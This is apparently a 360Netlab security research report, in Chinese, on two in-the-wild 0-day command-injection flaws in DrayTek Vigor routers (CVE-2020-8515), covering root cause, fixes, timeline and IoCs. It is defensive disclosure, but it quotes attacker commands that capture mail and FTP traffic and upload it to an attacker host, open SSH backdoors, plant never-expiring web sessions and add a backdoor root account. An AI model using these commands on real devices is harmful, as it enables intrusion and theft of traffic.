DrayTek Vigor企业级路由器和交换机设备在野0-day 漏洞分析报告

本文作者：马延龙，叶根深，刘宏达



背景介绍


从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。


2019年12月25号，我们在Twitter[1][2]上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。


2020年2月10号，厂商DrayTek发布安全公告[3]，修复了该漏洞并发布了最新的固件程序1.5.1。



漏洞分析


我们根据Firmware Total系统[4] 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点keyPath，rtick已经被厂商修复，它们均位于/www/cgi-bin/mainfunction.cgi程序中，对应的Web Server程序为/usr/sbin/lighttpd。


keyPath 命令注入漏洞分析


漏洞类型：未授权远程命令执行漏洞

漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。


当使用RSA加密传输时，交互逻辑为：


 1. Web前端使用RSA公钥对用户名和密码进行加密，并用keyPath字段指定RSA私钥的文件后缀，发起登陆请求；
 2. /www/cgi-bin/mainfunction.cgi程序中的formLogin()函数检测到keyPath字段不为空时，开始进行解密操作；
 3. formLogin()函数根据keyPath字段，拼接如下路径/tmp/rsa/private_key_<keyPath>作为RSA私钥；
 4. formLogin()函数分别对用户名、密码字段进行Base64解码，并写入到/tmp/rsa/binary_login文件中，然后拼接如下命令并通过openssl命令解密；
    
    openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
    
    

 5. 最后formLogin()函数读取解密后的用户名、密码进行验证。


由于在以上过程中对keyPath字段的危险字符过滤不完善，导致无需授权的远程命令执行。


漏洞修复：在1.5.1版本中，厂商对keyPath字段限定长度为30，并限定字符必须为十六进制字符。




rtick 命令注入漏洞分析


漏洞类型：未授权远程命令执行漏洞

漏洞原因：/www/cgi-bin/mainfunction.cgi程序中获取验证码的函数是formCaptcha()，该函数没有过滤传入的时间戳(rtick)，就调用/usr/sbin/captcha程序生成以<rtick>.gif为名称的验证码图片，导致命令注入。


漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为[0-9]。





在野0-day攻击行为分析


攻击者A


 1. 攻击者A利用keyPath命令注入漏洞，下载并执行http://103.82.143.51:58172/vig/tcpst1脚本，然后继续下载并执行以下脚本。


http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1



 2. 攻击者A通过脚本/etc/mailsend.sh，窃听DrayTek Vigor网络设备上所有网卡，端口为21，25，143，110的流量。
    
    其中抓包命令为：
    
    /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &
    
    在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包/data/firewall.pcap给https://103.82.143.51:58443/uploLSkciajUS.php。


攻击者B


 1. 攻击者B利用rtick命令注入漏洞，在/var/session.json文件中创建了2组永不过期的Web Session 后门；


json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json



 2. 攻击者B利用rtick注入漏洞，在TCP/22335，TCP/32459端口开启了SSH后门；


/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT



 3. 攻击者创建了系统后门账号wuwuhanhan:caonimuqin。


sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;




Web Session后门


我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置updatetime为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。





时间线


2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。
2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。
2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。
2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号，DrayTek发布安全公告和最新的固件程序。




受影响的固件列表


Vigor2960           <  v1.5.1
Vigor300B           <  v1.5.1
Vigor3900           <  v1.5.1
VigorSwitch20P2121  <= v2.3.2
VigorSwitch20G1280  <= v2.3.2
VigorSwitch20P1280  <= v2.3.2
VigorSwitch20G2280  <= v2.3.2
VigorSwitch20P2280  <= v2.3.2




处置建议


我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号, Web Session后门等。


我们建议读者对相关IP和URL进行监控和封锁。



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。



IoC list


MD5


7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007



URL


http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php



Scanner IP


103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd